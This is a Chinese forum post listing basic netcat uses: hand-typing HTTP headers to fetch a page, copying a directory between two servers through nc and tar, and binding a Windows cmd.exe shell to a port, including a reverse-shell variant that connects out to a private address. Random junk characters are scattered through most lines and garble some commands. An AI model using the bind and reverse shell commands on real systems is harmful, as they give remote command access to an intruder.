|
|
发表于 2017-3-9 19:12:51
|
显示全部楼层
模拟HTTP Headers,获取网页源代码和返回头部信息
7 o9 \6 j4 ?3 D' g8 x0 \
/ t5 q3 R* b% I7 p9 A[root@hatest1 ~]# nc www.linuxso.com 80" L- D' I9 u* Z2 o0 l3 f- ?
GET / HTTP/1.1
# f) _+ w! Z0 a' }* {& E7 {Host: ispconfig.org
e0 v% A; j/ X: y, F- CReferrer: mypage.com
1 o" N, S: q* e" v- XUser-Agent: my-browser( J; J) k( N+ w7 y
! a0 v u1 ^9 l0 v$ z
HTTP/1.1 200 OK
4 r( }- J5 \* `7 {7 VDate: Tue, 16 Dec 2008 07:23:24 GMT$ }- h5 Q: v/ @# K& g" I, A# N
Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8# Z" ^8 m" L5 c" U |) b8 k. g6 d
Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/+ O% M- Q* C' L+ Z8 P
Expires: 0# I: Z/ t( l0 Q' m- }8 t* O/ O' ]
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=04 ]+ p2 w7 g4 O" A
Pragma: no-cache: C9 Q0 L0 a- k! Z( J/ G
Cache-Control: private, post-check=0, pre-check=0, max-age=0
6 J& J- j& P% [6 j' pSet-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/, F* i/ c6 |5 a& m
Vary: Accept-Encoding
7 r9 f1 @! r7 eTransfer-Encoding: chunked6 Q3 S" c) B; J' A, v
Content-Type: text/html
7 [4 [3 X3 D8 N* t; B[......]. u' r9 a+ ]( s+ l4 `
在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。+ ]( ?. D, _4 O# r! k( p6 n5 V
: _ P. m4 a' l1 |
5 D0 Z- d9 Z* T6 a; m: k+ e
4 |# V0 x1 C/ F( g4 {: ]4 W& ? I传输目录
+ _9 `& @ g& K$ D从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,server2上运行:& x k- m1 M% z# W" E+ Y
引用+ g7 c: R3 b* k* e/ ]. J
, q" A* S& H& p% w: N% m1 M[root@hatest2 tmp]# nc -l 1234 |tar xzvf -
; }7 s& M4 G4 I- Y0 }8 x: @server1上运行:: d# j1 N+ v* w9 o7 w( C; D
引用
3 u7 s/ r. W; P- p
) e% ~: U. s$ C[root@hatest1 ~]# ll -d nginx-0.6.34
/ [, s1 |: d# S, [ C6 bdrwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
( m2 f" E% U& l0 V[root@hatest1 ~]# tar czvf – nginx-0.6.34|nc 192.168.228.222 12345 M% ^% ?& U& l' J8 r- i" u
4 A' H/ L- s3 I& w( ?# m
$ \! C& H0 i% C( Y3 o
. J5 o! i+ C0 J* J! R6 @REMOTE主机绑定SHELL& t! ~ Q! S, b% A' d
例子:
2 u, V1 C3 |; K( Z" ]' @
& l5 M% S8 r, A5 x格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe/ ^ s2 E' o* s$ s. O8 l
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口: ?/ l" ?0 Q0 ?
@; u! \% O3 V4 I
9 u# W: R0 j! n9 T7 T9 qREMOTE主机绑定SHELL并反向连接
, V4 x7 y# d3 ?5 Z+ R例子:1 C: W+ v- L' x1 x7 [+ m; q. v
3 w7 E7 E x/ S1 T7 h+ ]
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354( A/ o$ B) X6 m( \8 _
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
8 |: i: Q: V4 C' W. S" H- n3 |以上为最基本的几种用法(其实NC的用法还有很多,
3 N5 @7 n6 \$ p, Q当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)6 M2 a ]$ C+ C: `$ ]
|
|